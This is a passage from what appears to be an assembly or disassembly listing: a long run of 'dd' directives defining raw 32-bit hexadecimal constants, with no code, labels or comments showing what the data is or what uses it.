		dd 0DE9E9C03h, 0A855546Fh, 0C367841Ch, 794EF730h, 0A343810Fh
		dd 189672Dh, 18BC07E0h,	0E85D12D1h, 954500D2h, 0FE417479h
		dd 0B90A1300h, 0BB12FA46h, 0EA920394h, 65E53CFBh, 80140E89h
		dd 73CC8C50h, 903A715Eh, 765600A7h, 20DCA79h, 8B0065DBh
		dd 0F7F7C7Dh, 2A0F9F8h,	34D690F2h, 564073C0h, 0F600BB11h
		dd 0E5928C54h, 5768B4h,	0C870933Ah, 0E23760A8h,	8F0E5839h
		dd 9D904271h, 0A76E35C0h, 71743D9h, 0A9B8F5BAh,	78835E8Dh
		dd 402813C4h, 7D00246Bh, 1BFDAEC7h, 3EC31FB8h, 164039F7h
		dd 605CDB3Ah, 0CD429210h, 432E1C63h, 91540075h,	5F187EB7h
		dd 3893C000h, 0CEED4FE2h, 30B107ECh, 4057CA06h,	92C768D1h
		dd 0AB3950C0h, 387ECD3h, 848CD45Eh, 0F19390A1h,	49E803BBh
		dd 0E7006613h, 0DB7A24BCh, 1F8CAC9Ah, 712FF0Ah,	93F667CCh
		dd 0E9794573h, 1C959909h, 40FD8F8Bh, 0A4030578h, 71A661A1h
		dd 0D072A308h, 11000B60h, 1EF3E124h, 4785FB7h, 6C3C1AA1h
		dd 69428062h, 4400016Dh, 9F79DAD1h, 1BB1F7h, 19270655h
		dd 0A993D44Ch, 0A1D9252Eh, 0DA586D00h, 0E0BEC47Eh, 0E37B51h
		dd 0D4308045h, 718F7863h, 3F49580Ah, 8CA0A074h,	8083E3A1h
		dd 0A3799111h, 11FC0h, 0E4B7F4FEh, 37C12B6Bh, 7B78F700h
		dd 0CE97A70Fh, 8C9803DAh, 0AC0E73A3h, 22FF5807h, 0D34299E3h
		dd 2F19C0F4h, 0B7350791h, 830B8FBFh, 0BA0324ADh, 57EFFF82h
		dd 0E8F3D005h, 0FAF4C62Fh, 0F7011856h, 95249AC7h, 0FBF01576h
		dd 101186D4h, 0B02171F8h, 2118F495h, 0AC488A7Ch, 7E78110Ch
		dd 92CBBD10h, 0BA80EE1Eh, 0F6398240h, 60A0608Ch, 6896EC6h
		dd 9740FD11h, 0B00620E9h, 0F1EA7023h, 0F8914550h, 1CA0D7D8h
		dd 18075764h, 22A103A7h, 0C37F4583h, 9AC0C7F7h,	6BEF87A0h
		dd 2B82712Eh, 88747E9h,	2FEC82FCh, 7AAA9820h, 6A2C1B91h
		dd 0DDF160D2h, 0ED79836Ch, 0C405C9Dh, 837997C8h, 8E76F018h
		dd 1300AA77h, 961DBCADh, 0FEEA0Dh, 0DE4B85EDh, 2AE06F64h
		dd 64E3501h, 6AD7BD7Ah,	0F62760h, 0FE199FEAh, 84835DEFh
		dd 597C0530h, 0DBA097h,	3A06FD8Ch, 3BAF76EBh, 21C08FE8h
		dd 79DBBB38h, 58B8037Dh, 0F65DFCE6h, 6AD47106h,	0CC6075B1h
		dd 6E61FFD8h, 0DBA6028Ch, 3B96FD76h, 0B6108819h, 6B00DBB9h
		dd 0EC058E62h, 0DD1B5D29h, 0D8B3C0C0h, 0E0D5F4F7h, 6E2C70C3h
		dd 5939007Bh, 0F585E1D4h, 0BC3E9338h, 0BAFC065Ch, 0EC907C09h
		dd 0DBF40042h, 440D3170h, 0EE0E9223h, 23FF64BEh, 0E8E5A7B3h
		dd 0B957CADh, 531EA8F4h, 919B180h, 4E00C850h, 0EE079FB7h
		dd 3EB1CC2Ch, 0EC00A5DCh, 978B56Dh, 3E005557h, 2804C9E9h
		dd 32501h, 0C7858EC2h, 272176DEh, 9835BC07h, 0D57004E2h
		dd 0FB4DB3h, 4A71E956h,	890396B0h, 0C04E1E00h, 12F8576h
		dd 43C40021h, 0A0D4C833h, 977D0AC3h, 39B7F70Fh,	0B988A310h
		dd 5BD1D081h, 4A0F0FE7h
		dd 0D2A01A78h, 94DB99C7h, 48F3A72Eh, 8315380Fh,	781B43AAh
		dd 0D861420h, 800185Bh,	27C1D95Dh, 5004BA6h, 12AB3D6Dh
		dd 4C86585h, 0B1497873h, 8845C02Bh, 6D016799h, 3EC1151Dh
		dd 14C9DDE7h, 14722AC0h, 1429480Ah, 8911D7F0h, 0A8FC392Ch
		dd 9FD29932h, 0E7ED804h, 8534D28h, 1975B18h, 3B2020h, 0E7435841h
		dd 0D0358E1Ch, 0A50887Dh, 67015BD8h, 2089F5D6h,	2990437Fh
		dd 214C9B30h, 56085329h, 84249042h, 3F480C9Ch, 59581641h
		dd 1185F801h, 0AB111596h, 55D911EDh, 0BB20EC12h, 4BDEA4h
		dd 3B2F9681h, 67FB8F71h, 443B4A75h, 9BE700ABh, 0E9C56A01h
		dd 8CA600C2h, 3957F0BBh, 4700F906h, 121755A8h, 0C1EA9Dh
		dd 0C4F7DA43h, 0D2ABBDD9h, 99E1FB00h, 7D4DEED7h, 0CAB00719h
		dd 4376B1BBh, 0C6808391h, 6B00C92Ch, 0F959A2E6h, 0FFF4EDEh
		dd 7BEA89FAh, 0AE316EA0h, 0F700955Dh, 142A3E6Ah, 0F3AEEh
		dd 0CBDF4353h, 5EB5ECBCh, 0B45A3Fh, 0A5DAD619h,	50D59124h
		dd 1F93D411h, 0DE2AA0h,	5CA278A8h, 22007EF2h, 0B18D05FFh
		dd 1E1ED714h, 89DF24h, 1A28EB3Eh, 70053C9Fh, 0EF670D33h
		dd 80CF22C0h, 1C9E788Ch, 129137A3h, 3B0440F4h, 30E902CCh
		dd 0EA7B9700h, 3AA42B59h, 50C50FD5h, 0B820481Ch, 32ADF088h
		dd 56BF9000h, 931529FBh, 5B14009Dh, 0EC1E75ACh,	0B4007891h
		dd 8376C94h, 1C23E170h,	0C0484E9Ch, 9F2A6F42h, 10C01FEDh
		dd 0BD28BB3Eh, 0D7830E93h, 46057D9h, 4EBA3F80h,	0AB00FBFEh
		dd 4DF8DE45h, 795E29h, 1A0A2F90h, 98695FC5h, 0EB96100h
		dd 0E1BAA122h, 16020FE4h, 0D23FF7A8h, 1CEFA0F6h, 0BF2B193Ah
		dd 74D700C2h, 0C4B271BCh, 0ED10C0C1h, 0F723915Bh, 973D263Bh
		dd 2907B0C8h, 4640486Dh, 3DD4F5F6h, 188099EFh, 0E28A34E1h
		dd 6707E081h, 0D228510h, 0D7282300h, 0EAFB00AEh, 65FB89Ah
		dd 20C01309h, 40BF02F7h, 6F95007Fh, 0B353872Dh,	0BC92CC9Eh
		dd 1CE81100h, 0D165ED7h, 84AF00C6h, 7F83BAD9h, 0D20026CBh
		dd 9E1579ABh, 0E576B3Ah, 441AB46Ch, 3004A5E1h, 0A6B7DC8Ah
		dd 6941D40Fh, 0B9586052h, 73B9103h, 89B83EA9h, 6AC330D7h
		dd 301CA024h, 2580E0C4h, 0FC2C9D09h, 26D00057h,	0B0118035h
		dd 0B100BE59h, 0E8FBE0B4h, 6C844Ch, 4D125169h, 42C20DCAh
		dd 0FD8A6E03h, 31503Bh,	6D0A38D0h, 8D7E96B1h, 2C5B5A00h
		dd 0B2D77739h, 27B60076h, 0D883EECFh, 0E49A87C0h, 99EDD101h
		dd 0F92E5A65h, 1DDD0820h, 432F98ECh, 0CD50C476h, 98D39C8h
		dd 365BE800h, 8094D717h, 0E41FC01h, 5F7A741Bh, 0AF2D4B40h
		dd 15009135h, 102957C8h, 4D3CE0Dh, 6560AD2Ah, 0AE888017h
		dd 91007F68h, 4AFDF0C6h, 8229E4h, 152752C2h, 2DDF490Ah
		dd 0A7795300h, 8AC40C13h, 4D1100A5h, 644778FDh,	1F00D4D9h
		dd 0C362E745h, 0FCB9DD82h, 0A29400FFh, 8DB70F29h, 0FCA02150h
		dd 560191BFh, 41F493C5h, 0A940E1BEh, 24A28D6h, 0B18A3CE6h
		dd 0C040B883h, 7200873Fh, 44482D79h, 7042E2ACh,	0EDE90098h
		dd 9D7F4DE0h, 0EE003C36h, 45FF06E8h, 1257AEh, 82A99C13h
		dd 0CB79CDC3h, 639DF90h, 0E17613E6h, 0C1196401h, 94E8FB88h
		dd 0DBE51D04h, 0CC5AC2EEh, 0BCA03642h, 282F7459h, 6C99D60Eh
		dd 0B6545Dh, 520BBD4Ah,	50C3EC8Dh, 2579ADAh, 6E788ACh
		dd 9840019Fh, 9500A78Eh, 81B58E4h, 4CE1B65Ah, 0F612209Eh
		dd 0B1C7004Dh, 8DCADB8Ah, 0D655F224h, 0B9EC0039h, 762FADCEh
		dd 71DC3E3Dh, 2B8AAB30h, 7D007A9Ah, 2CC94094h, 5EE8E6Ah
		dd 28D2074Eh, 0F3F300E5h, 0B47024E6h, 0AC9AE900h, 9347BC81h
		dd 68184DB9h, 9F0D3E0Fh, 0E3308A00h, 40FEE161h,	6F043C90h
		dd 81D4477Ch, 0F0AB1C80h, 0B0BA4C22h, 52945D03h, 0EDC83DD0h
		dd 9100B7C9h, 0F9ECDEBCh, 12790CB2h, 0F841833h,	59008F08h
		dd 0F62F9F75h, 66CD1700h, 36D9C8B6h, 73F700FBh,	7484DC0Bh
		dd 0DA01A663h, 0EE354868h, 0E62001D6h, 56C90317h, 1E657612h
		dd 89EAD1A0h, 71459B00h, 59418697h, 80820011h, 0B55EB205h
		dd 0A10004DFh, 44EDAC61h, 6F1C7Eh, 59095DB3h, 0CD83B793h
		dd 85EE2400h, 25E7628Ah, 0C8988Ch, 0E9519FB0h, 82C8F28Bh
		dd 0CEC32207h, 42AE3D07h, 815B20AFh, 80A499D6h,	1C67F8h
		dd 0B15CDBA3h, 0CB37164Ch, 9F2E913h, 0BE5B7A00h, 9B9F764h
		dd 6A415ED3h, 0FD809A0Fh, 30626F9Eh, 5C9481Fh, 63236E00h
		dd 0FF7651h, 84574512h,	32F35502h, 1734591Ch, 0E6B64DC0h
		dd 0FA2E8B89h, 83FE69h,	33F63D88h, 9C123F9Eh, 6800DEB0h
		dd 0C66D7FD3h, 3672E2h,	0B720EE5Eh, 654943DAh, 7F11FC3Dh
		dd 0B134500h, 0D9ADD023h, 0B18C0032h, 0CF9ADECEh, 3101392Ah
		dd 958A8D7Ah, 0F8F35FFBh, 0E188969Bh, 9ACD4830h, 2472B4h
		dd 48740B69h, 8B3FF6FEh, 8C61EE1Ch, 59519D83h, 27ACB07Eh
		dd 7881EC73h, 4430006Dh, 39E0AE3Eh, 8C0E0791h, 621460AFh
		dd 41E790FCh, 0A060B7CFh, 1A7FC5Fh, 202E9228h, 20474351h
		dd 0AC27A64Ch, 169DCA9h, 0CD803B02h, 9F7948h, 656B3EBEh
		dd 18DD2BADh, 0EC96D6D8h, 0E2F686A3h, 35769300h, 83E73E2Dh
		dd 57F100DFh, 2A40123Ch, 0A50394E4h, 0FBF4D185h, 0DE91C132h
		dd 7CFC20h, 0CE400C31h,	0E992D2FAh, 6528B600h, 24FC025Ch
		dd 0C51800B0h, 95FA2F52h, 0F677F2DDh, 0A79D2A04h, 94804370h
		dd 0D8E2DFh, 79D0EF92h,	72D3AAB5h, 3B82A800h, 0B490150Fh
		dd 0D92C0006h, 8DB56667h, 1E3DC06Fh, 0BE5F0082h, 1551AD71h
		dd 0B6F9038Eh, 38F1BC7Ah, 0FF8236C8h, 800D3Fh, 2E982CB8h
		dd 330EF6h, 4969BBA7h, 0B9CFBC4Dh, 1022E300h, 85048390h
		dd 1D502895h, 33641EE9h, 63C5C027h, 47F288A4h, 0B7A0B503h
		dd 0B842814Bh, 0CD2E40h, 63937502h, 640B383Ch, 9F00ECB8h
		dd 5D3EA08Fh, 146CFAC3h, 0D4484F2Ah, 0CD595200h, 0A69DF5A5h
		dd 0F1655702h, 48582314h, 0F174940h, 37B6C070h,	60022AC7h
		dd 968D496h, 5AAF011Ch,	44003652h, 0C3257BAEh, 0D43850E7h
		dd 0B9260290h, 0EE93B61Eh, 0D6348960h, 412EED00h, 25217B07h
		dd 144000EBh, 535DDB8Fh, 0B200884Eh, 5FA1798Ah,	0EC0EFB4Bh
		dd 0AE8C035Ah, 80EB14A6h, 0FD029A77h, 86129DC0h, 527C60A4h
		dd 8EAD07BAh, 0A003B8F5h, 8FD2513Ch, 9F9E9402h,	63AFD714h
		dd 0B488851Bh, 3A28886Dh, 0FD5AE404h, 85C0FBEBh, 71B31552h
		dd 5F320056h, 7B838B45h, 40B0CDFCh, 801C57Eh, 8246DABEh
		dd 198091A7h, 45E240F8h, 3F001B76h, 0FF0C329Dh,	131F97CFh
		dd 0BBB0EEEh, 5820EBE4h, 2ABFC6B0h, 0BB86117h, 0FC5611B0h
		dd 0AC17092Bh, 9C005AF1h, 0CB7C96B0h, 0EA87A000h, 0D837E916h
		dd 3470F65h, 73A37B0Dh,	8000DE04h, 0FB1D3BADh, 30F450E1h
		dd 0F2E0839Ch, 0EE7EF36Ah, 56DFD00h, 46CC593Eh,	9F3F0024h
		dd 0DE8BC3Dh, 4D005027h, 0DCBAEFE4h, 1DA8B249h,	42AE6A69h
		dd 0F9C017Eh, 146F44C0h, 7CF0AC00h, 8B9F28B7h, 0E93100D1h
		dd 0A3C82F36h, 8240D0E0h, 0C1EAC6h, 0FC9A33F0h,	0C2E3ED3Ah
		dd 0D63D6000h, 0E7489918h, 530A0007h, 0CAC1250Bh, 4600C5F1h
		dd 449F7A09h, 127D9685h, 0DB4106h, 6F546616h, 1D00A683h
		dd 0F4B74B1Ch, 8C01Eh, 0A380339Ch, 6B2A7DDCh, 0E1943D00h
		dd 1DEBB603h, 0EEFD00CFh, 410FB3EAh, 2CFAF78Eh,	4400904Bh
		dd 2992AB71h, 6065602Bh, 0E8851C08h, 124A3005h,	28D78A04h
		dd 602B51B0h
		dd 804F0018h, 882FCDC4h, 0CC00569Dh, 8D93DFBBh,	0BF2E73h
		dd 8104B33Fh, 0B52C28C1h, 4127C3B0h, 7D580019h,	903F46E1h
		dd 0E8F900BCh, 0C3CAAC36h, 4F007779h, 6EC4D8EFh, 12889225h
		dd 2DEC69h, 2351A7A4h, 93009C22h, 32F0D36h, 266504Dh, 0BD55F6D3h
		dd 2AE0E241h, 6200D110h, 53BF7B25h, 1B1CFF8h, 354A3B6Fh
		dd 0F47A5520h, 0B0032E8h, 7D64E180h, 0B62273h, 1ED65B95h
		dd 0A98E534Fh, 78AB2700h, 0D0E81523h, 9974E3h, 3D2986BDh
		dd 4101F7EAh, 80603038h, 0AEB1A49Ah, 0E9BC5Eh, 700421E0h
		dd 5DCCBAF4h, 1B2D8301h, 0E6F9AAD4h, 66FAB540h,	0A00F0172h
		dd 0B6174E85h, 0AB18067h, 2F29CD78h, 0AE99CE9Bh, 0D35ABEA3h
		dd 87D41DB9h, 696155A0h, 5B1ABD6h, 548919E0h, 27D0143Ah
		dd 0B9962200h, 0D7C452A9h, 0B3240C0Eh, 6077AF17h, 0A8CF7DB7h
		dd 0C3E6009Bh, 7149DB65h, 9EFE7E3Ch, 411F271Dh,	285E66C0h
		dd 7D602h, 5068B452h, 35B87538h, 0B3108890h, 0CF000C14h
		dd 0F901A6A2h, 6F59EE2Fh, 8150738h, 0E870663Bh,	16FF3539h
		dd 36CA3F2h, 1FFB4D44h,	480028E6h, 22ADD7D5h, 0C7095h
		dd 0D4A3FD30h, 9A2FF511h, 26AE4E00h, 8FBB6214h,	1AC90B8h
		dd 0F37C9107h, 0F0FEED68h, 0FF19E792h, 472196D8h, 604F866Eh
		dd 81FCAE69h, 0C6DECC2Fh, 25A060CEh, 3E432856h,	21A009C8h
		dd 90874531h, 0DDEF9062h, 0F62CAC10h, 7D07EF3Eh, 21EF51A1h
		dd 65448B9h, 40845880h,	0DE68C837h, 15813450h, 4132F1F7h
		dd 0C9BD7BB4h, 78187475h, 0E79C4A01h, 0A9BC71ADh, 4BFC04C5h
		dd 9BE5072Ah, 77809DA3h, 0D76AB04Ch, 0C0037648h, 1F2BD4BEh
		dd 20A3C042h, 6967AB9h,	0A1091DB3h, 2E00E8C9h, 402FB4CFh
		dd 7204D57Ch, 254F02ADh, 6965E031h, 0E135060h, 0BBA601Ch
		dd 26205689h, 0A0800274h, 300F5A74h, 0EB504D2Fh, 0E71FE4EDh
		dd 0BD005B2Bh, 0C0902E6Ah, 398905BCh, 0D084C5D0h, 0FE318C38h
		dd 0BB23DD01h, 7E82FAE9h, 3445A040h, 0F99D0062h, 0AE6F2CD2h
		dd 4C1ADA78h, 0DD207FEFh, 6DE7F800h, 6036CFEh, 0ADEAE979h
		dd 9016F3CAh, 79C24807h, 8C260092h, 0CEF15E58h,	0AA012282h
		dd 0DD0FE4Ah, 0D1C89FFAh, 26DD0E32h, 0EB2CE8A5h, 0D9009ED0h
		dd 81D39AC9h, 2246Eh, 0AD4D1BE7h, 0C02DDD8Ch, 68FC5D01h
		dd 966427Ch, 0E1C289F2h, 0D6D458A4h, 279AB897h,	0C085920Ah
		dd 21C8861h, 41321500h,	1F4CED75h, 563E009Fh, 0BB660F2Ch
		dd 0C03F9103h, 6A9587ABh, 0C780430Dh, 0B51821Fh, 0F13F1CAAh
		dd 0E8805000h, 68FF2E4Ah, 50360ED4h, 9C4980B7h,	58728E1h
		dd 1D1B4FCAh, 8D08D005h, 3BEAE903h, 9011D004h, 0A4D00CA8h
		dd 0F172A0Ah, 9C420625h, 2C9D007Fh, 2FD350F5h, 23453C16h
		dd 0C02170C2h, 0E02DF452h, 0B2B8715Ch, 8AEE0050h, 6B98F268h
		dd 0F477F69Fh, 0C31C6894h, 83F81D4Eh, 0E0D5713Ah, 0A06B070h
		dd 0C9ADED86h, 8BBF00AFh, 5910EC66h, 80532B3Dh,	0A96F351Bh
		dd 1248A6h, 8E1CF94Dh, 0C4BBCF9Ch, 90C74C18h, 0B2E8B9F9h
		dd 17FD2D98h, 0B3F96C00h, 0BE017250h, 0F465B4D2h, 488052A0h
		dd 265AA516h, 0C71E1EB1h, 3AD0BD4Ch, 50ED0F77h,	27A3C67Bh
		dd 0A391447Ch, 54A841C8h, 3C64039h, 23094CE4h, 419B2918h
		dd 0D709E08h, 0C35F01C8h, 0FA176CBBh, 5DF8CC37h, 7830C62Ch
		dd 70459100h, 8BCA4Bh, 0B3F22238h, 0F63908D0h, 258E0B00h
		dd 5B62AAECh, 373F00EFh, 2D4C710Dh, 140023F0h, 26D2029Fh
		dd 0C97582h, 7BA5D424h,	0ED53B933h, 0BDAA7702h,	0C03D08B5h
		dd 991284h, 0DDB4640Dh,	332417E0h, 18045504h, 49808E08h
		dd 81B157h, 0EAA4F777h,	97D7FFC2h, 464B2A00h, 769B1A70h
		dd 0EF53013Ah, 0A783E4A1h, 0D09C6021h, 895E6000h, 6DDE31CCh
		dd 0EF5800B9h, 47E7093Dh, 72F093A8h, 8F881B00h,	0AFB8089Dh
		dd 9F2C000Ch, 970550BCh, 39006E7Dh, 3F6B1B1Dh, 18A469Ah
		dd 3207AB18h, 30867991h, 3800A288h, 57F4EACCh, 26FDCA7Eh
		dd 7CA48Ch, 0F8FF276Ah,	7B0214D3h, 75A1DEFBh, 0CDDA438Ah
		dd 600968B0h, 66D66023h, 0E33A044Dh, 89080011h,	2957A4EEh
		dd 63ED009Fh, 0C70A90A7h, 8D2EA059h, 0BC00B675h, 6FA30D8Ch
		dd 88AE014Ah, 1DA84F14h, 0A1A860E3h, 32872500h,	355B052Eh
		dd 48DA001Ah, 319C8508h, 9060E333h, 0CAB17911h,	0DB5400BBh
		dd 0F72E5844h, 79EB4C2Fh, 0C33306ACh, 0F0EFEBh,	2E639EB1h
		dd 5237D11Bh, 9487702Eh, 4E1D7A8Fh, 14FC0520h, 4C27BC91h
		dd 83E3E4h, 188644ADh, 2E50CE95h, 0D50000BCh, 8D095EE4h
		dd 8120B14h, 0A4206DEBh, 0CE045AE2h, 8A0038B4h,	86D58BB7h
		dd 9D50489Fh, 0A9DABE05h, 6C50D0F7h, 68F51535h,	7B407A0h
		dd 3820B0DCh, 3363DD6Fh, 36E6DB4Fh, 0C04785B9h,	0C200CFD1h
		dd 0F9B7CD50h, 30D82F13h, 5E403430h, 0C558D919h, 0D06D50F8h
		dd 0D0256130h, 13CAF653h, 163A07C7h, 882B0B4Ch,	9A95D4C0h
		dd 0CC7C0600h, 4D1C9DDDh, 22F93CAFh, 0E0BF3B80h, 0F76EEDFBh
		dd 0A94F1A1Fh, 0B6F6CD41h, 2430FF96h, 0B051007Dh, 3534EDECh
		dd 4B0C7E52h, 21845C12h, 72A100ABh, 0A645864Ch,	924DE224h
		dd 60062488h, 0B3507700h, 0F2D813Eh, 0BE3A4A1Ah, 0D5682780h
		dd 63001D0Bh, 0EAD7EBE3h, 0BF025E5h, 16A8F229h,	1BCFA000h
		dd 0FA00DF9Fh, 4C55A9C8h, 0E690A1h, 46BBD944h, 39913892h
		dd 26080549h, 0EFD1AC28h, 1F70D0h, 0F9B08008h, 0BBF3BEC9h
		dd 26DCD06h, 128854Bh, 7D09B48Bh, 0F471593Ch, 1D07437Ch
		dd 6B0CD1BEh, 2BFD01A0h, 5CFA31F9h, 40ABB030h, 66734C98h
		dd 158E7B00h, 98CE2D22h, 0DAFA0902h, 2E037A0Ah,	81ADBEC5h
		dd 31EDD31Eh, 7BDDC8D8h, 99D05D00h, 5AE0D72Ch, 343723Ch
		dd 4984D9C8h, 46F8EFB4h, 0CD162D89h, 1EBC2963h,	5838C100h
		dd 32EEFFFDh, 533EF800h, 0F0F4808Dh, 87922CD5h,	0E0C07B1h
		dd 7E9BFC4h, 0B160ED8Fh, 18449895h, 6189D0A0h, 0D828C50Ch
		dd 21A4A8h, 0FC52411Fh,	48FD3236h, 0B3E03D00h, 0AFD3BD14h
		dd 7E4E0FE3h, 6F80319Eh, 1C6D018Ah, 0B34C7D0Bh,	53AA02D1h
		dd 93BCC0C5h, 0B7B40011h, 0FF855489h, 7CF63ABEh, 0E5529409h
		dd 0B65800B2h, 0F3747Ah, 0AA405B85h, 2F9FA391h,	0CB8B9516h
		dd 46A43B06h, 24C42EA0h, 0B7D48404h, 95880BBh, 7607438Eh
		dd 2B413C8Fh, 0A1CF6CF0h, 7109034h, 5A3FE684h, 9B0B58A6h
		dd 3600607Ah, 785B012Ah, 47BAA875h, 201C24E8h, 1FAB780h
		dd 7771BE12h, 30E9178Ch, 760E8E24h, 60350594h, 1B849BA4h
		dd 6D40B40h, 0F2000472h, 98411270h, 954A4670h, 0FC7E7803h
		dd 0AEEBC6h, 0DC762B10h, 0C8F2CA11h, 0B90F08F0h, 0FE5774h
		dd 0D695EBDDh, 0A99C3ABDh, 0B0FBE180h, 0CB1AC5A6h, 0BB3E1912h
		dd 7DB41Ch, 0C4D92865h,	174DA88h, 2250526Ch, 200256B3h
		dd 0DB0BBFE8h, 69C9F8h,	376ACDC0h, 0AE7E005Ah, 0D830DF8Dh
		dd 9E03752Eh, 22C92308h, 8BB2B099h, 726E00DBh, 0D9B7690Ch
		dd 6C00E3F8h, 0F6E64B8Eh, 0A8E205BFh, 0EAA19F94h, 6A8D005Fh
		dd 623D8F23h, 2E796077h, 0DF97400Eh, 4E1D6043h,	0DEE5C8h
		dd 0D3848AAh, 0FD0A3E73h, 0CCEC2330h, 0BE699F6h, 0E5D767DDh
		dd 0A7B9C481h, 0CBA079EEh, 80A84DA4h, 0D7883870h, 0C9002FFAh
		dd 75CDCA59h, 3EC877h, 0ED3AFD4Ch, 0F10F3C0Dh, 80F40139h
		dd 0CAF5B662h, 314D915h, 0D80934E8h, 55B08548h,	0BC07C9A6h
		dd 56C4046Dh
		dd 8C793780h, 8F9A0097h, 0D9CA8BA9h, 0BB0038F0h, 0ADD43CF3h
		dd 7176B31Ah, 35EC0032h, 0F4865673h, 5009850h, 837BAF75h
		dd 0E9F478Ah, 376D4182h, 0B6D3C203h, 3E9B4E80h,	0D088E003h
		dd 0E0BC82F5h, 0D680BDh, 1302B484h, 676C4C98h, 10C662Dh
		dd 9AEEE8C8h, 0C5F9CDCh, 7491FF5Ch, 0C000435Ch,	2BF3C845h
		dd 195B07h, 8D84D70Eh, 780830C9h, 5C020B7Dh, 8134CF16h
		dd 5E8A02Ah, 0E51C90Fh,	2CDAA51Bh, 76B83340h, 7A0F97F2h
		dd 362A9AB6h, 6CEFD403h, 0AFAA804Eh, 6BBF3C86h,	247CC080h
		dd 0EB3E1A29h, 19416F03h, 7284ACA5h, 60D3FE20h,	68AB68A3h
		dd 0C832625Ch, 29811F0h, 0B024FB64h, 40965905h,	0F8502D18h
		dd 29F0F3AAh, 60C9173Bh, 0B7CC9528h, 34E4F20h, 96448698h
		dd 8929D4F8h, 58BE6C02h, 0C91E7D4Ch, 20819C44h,	53EF8613h
		dd 940C4084h, 0C100B7CFh, 0A7AE2CA0h, 0E85057Bh, 0D7DAFE39h
		dd 60712DA7h, 0A6B94FF5h, 0FE71B01h, 0F0D183CDh, 0DFD4ECh
		dd 0CAB5F163h, 2DE08061h, 9AFB6E1Fh, 3FCB8540h,	1A6DDBh
		dd 0F2475DDEh, 0B1FC2D9Dh, 1100A5F2h, 4258EB12h, 3A394F55h
		dd 0B880CC65h, 0AAA9E35Eh, 8D07F31Eh, 0B4922F45h, 0ABE1A0EEh
		dd 5B5810h, 942D5F33h, 74016095h, 0FC237B1Ch, 4BD28C3Bh
		dd 45FA79h, 5D330ABAh, 0FF7884E8h, 94F64001h, 4375AC6Fh
		dd 3A0526F4h, 99002E1Ch, 5B9A461Bh, 61032893h, 0DD4AA0E2h
		dd 0C91EF02Bh, 154400CBh, 846338E1h, 0C00CC3Dh,	0A7435971h
		dd 976ECD9Fh, 0AC4B2084h, 422E0138h, 0FA0C8963h, 0F5DFE8h
		dd 0C7F6AC6Dh, 1439A8DDh, 0B70BBF01h, 0D57F9C0Dh, 0AA54033Ah
		dd 0BAA07381h, 998F3A7h, 711D04A1h, 2031B189h, 0B9046037h
		dd 0CC8A02B4h, 200DFD0Eh, 0B07DA430h, 5CA0A803h, 34F0931Eh
		dd 0C021FF08h, 0E8F27D6Fh, 5DCC3B00h, 0D1445B01h, 0C969609Fh
		dd 96238D4h, 1030CD60h,	1541BB2h, 0B9253458h, 98FD530Ch
		dd 0F7216108h, 87540E13h, 6EA3F523h, 1D0964Bh, 88A94353h
		dd 0ACB7F83Fh, 0E711B8C1h, 0D0811D7Ch, 5A421526h, 58298E3Eh
		dd 0C7A560B0h, 33B62DC8h, 5708D8BFh, 0CBFE211Ch, 1B83C4C0h
		dd 0B0CAEA7Ah, 30227C1Bh, 0D0B82A79h, 0A8A9E17Fh, 0DCFDEC35h
		dd 0EBE61200h, 2F1306A3h, 8F0D00BAh, 914F58E4h,	49008E85h
		dd 0FB0E22C5h, 19A1277h, 0FA08C116h, 0D03A1CB8h, 420CC54Eh
		dd 9C930BB1h, 0A3C01973h, 801708B6h, 0AC8E021h,	18024624h
		dd 19161C6Eh, 9001ACA8h, 0BD609699h, 0AFF46D5Ah, 0C8E603A1h
		dd 0FBA5BF24h, 0B2222803h, 213D77h, 0B9C37839h,	0F5951C7Eh
		dd 9D5B470Ah, 215E4C14h, 9F80FB5Fh, 5AD1B2Bh, 33550077h
		dd 4513DD60h, 9A0C0315h, 51A7BE44h, 69950622h, 11DFAEBDh
		dd 0C77C12E8h, 0A0BE20C5h, 903B1400h, 0AB02D2C4h, 8E2EE0A0h
		dd 0F1B3037Bh, 0CFF74480h, 0C62B091Bh, 7B94F820h, 2AC75CCh
		dd 23601885h, 0FCC05E65h, 59C0F5A2h, 78A66E01h,	0C4E8E159h
		dd 2368189Ah, 0E73F7929h, 6F03D3F0h, 635F5DCBh,	0ACA6B004h
		dd 0C248A532h, 2818C47Dh, 69870389h, 27051C0Fh,	2080F010h
		dd 132411h, 6D9C10EEh, 0B78DD2h, 3A8E3365h, 65B4195h, 10C2FD16h
		dd 7731B10Fh, 0C338D200h, 0E89BB636h, 9F420640h, 7813F39Dh
		dd 0A8E53B2Ah, 3A29C500h, 0ABAFCCA2h, 3E410074h, 0F1673763h
		dd 39E2B7E0h, 0D14F5230h, 74A9BD11h, 917BEEFBh,	751F021Ch
		dd 3B203D41h, 0C0DC170Eh, 608AB661h, 1B007FA1h,	98ADE0A3h
		dd 0EBB22Fh, 0D80EFF88h, 0A61337F8h, 9324FCE0h,	4E05E2EDh
		dd 0F4240322h, 0FDE0043Eh, 10C3C345h, 928BB17h,	83B29D18h
		dd 208BF001h, 82026024h, 72A40B00h, 5D061711h, 9D450CF4h
		dd 642980E5h, 782540h, 0F23CD18Ah, 409058EAh, 43EE9B07h
		dd 0B30448B4h, 0E4ABDD80h, 0CCA902BAh, 58F83F98h, 8B6EC840h
		dd 0E3264Ch, 0B294D911h, 0FDDCAFh, 0C4FB1D6h, 93260F5Ch
		dd 0FF3F7BB0h, 0EF390070h, 0AC6BC03Dh, 337A005Bh, 1AA3BF64h
		dd 4173245h, 4E00536Ch,	70BDBC61h, 0EB2602C8h, 0D10B6BE4h
		dd 36BEAFE0h, 0D50C4E00h, 0FCA9EC83h, 0B8B03BDCh, 8FB3CC9Dh
		dd 2480AE3Bh, 0EEB1A4C1h, 4BBD0601h, 0A2979670h, 48BA28F4h
		dd 9F2EADAAh, 26400029h, 877A2E09h, 3F7DAE00h, 6FC32C77h
		dd 6698006Dh, 9E79A13Bh, 0AB010565h, 84AEA8E5h,	806F0FD1h
		dd 85425549h, 0AC886A00h, 5B5C79B6h, 68465C51h,	3AE78A01h
		dd 0E8A9AF1Dh, 0F13C9573h, 4D318FF3h, 6441C06Dh, 530024Bh
		dd 0B904619Dh, 699C0E89h, 803E74AEh, 8110493Dh,	6A006CCBh
		dd 0C6AB0ACAh, 87B4D8h,	0F04F3FE3h, 0F6117054h,	5A00C3EAh
		dd 81CC7DFEh, 1FA74436h, 1E9628A2h, 20018092h, 0DF2B55FDh
		dd 53324600h, 1DE5B221h, 1356FC7Dh, 4C8750B8h, 0F2501E10h
		dd 39B9C400h, 56BD2F7h,	0F670083h, 868075CEh, 933BC2CCh
